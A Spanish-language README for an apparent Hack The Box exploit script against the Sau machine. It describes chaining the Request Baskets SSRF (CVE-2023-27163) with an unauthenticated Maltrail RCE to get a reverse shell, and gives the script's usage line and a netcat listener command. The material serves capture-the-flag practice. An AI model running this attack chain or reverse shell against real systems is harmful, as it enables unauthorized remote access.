HTB Sau Exploit Chain — CVE-2023-27163 (SSRF) + Maltrail RCE Automatización

Un script de exploit en Python que encadena CVE-2023-27163 (Server-Side Request Forgery en Request Baskets ≤ 1.2.1) con una vulnerabilidad de Ejecución Remota de Código no autenticada en Maltrail 0.53, entregando una reverse shell. Diseñado para la máquina Sau de Hack The Box.

📌 Resumen

Este script automatiza la ruta de explotación necesaria para obtener acceso inicial en el objetivo mediante:

1. Explotar CVE-2023-27163 para obtener un endpoint de bucket utilizable
2. Aprovechar el servicio expuesto para interactuar con Maltrail
3. Desencadenar un RCE no autenticado en Maltrail
4. Entregar una reverse shell a la máquina atacante

⚙️ Uso

python3 exploit.py <URL_OBJETIVO> <IP_ESCUCHA> <PUERTO_ESCUCHA>

Ejemplo:

python3 exploit.py http://10.10.11.224 10.10.14.6 4444

🎧 Listener Netcat (Importante)

Antes de ejecutar el exploit, inicie un listener en su máquina para recibir la reverse shell:

nc -lvnp <PUERTO_ESCUCHA>

Ejemplo:

nc -lvnp 4444

🧩 Parámetros

🚀 Flujo del Exploit

• Normalizar la URL del objetivo
• Desencadenar CVE-2023-27163 para crear/acceder a un request basket
• Extraer el endpoint accesible (bucket_url)
• Usar el bucket para interactuar con Maltrail
• Ejecutar el payload para generar una reverse shell

⚠️ Notas

• Asegúrese de que su listener esté ejecutándose antes de ejecutar el script
• Elimine la barra diagonal final (/) de la URL del objetivo (se maneja automáticamente en el script)
• Diseñado específicamente para la máquina HTB Sau — puede no generalizarse

📚 Referencias

• CVE-2023-27163 (Request Baskets)
• Maltrail RCE no autenticado

🛑 Aviso

Este proyecto está destinado fines educativos y su uso en entornos autorizados como Hack The Box. No lo utilice contra sistemas sin el permiso adecuado.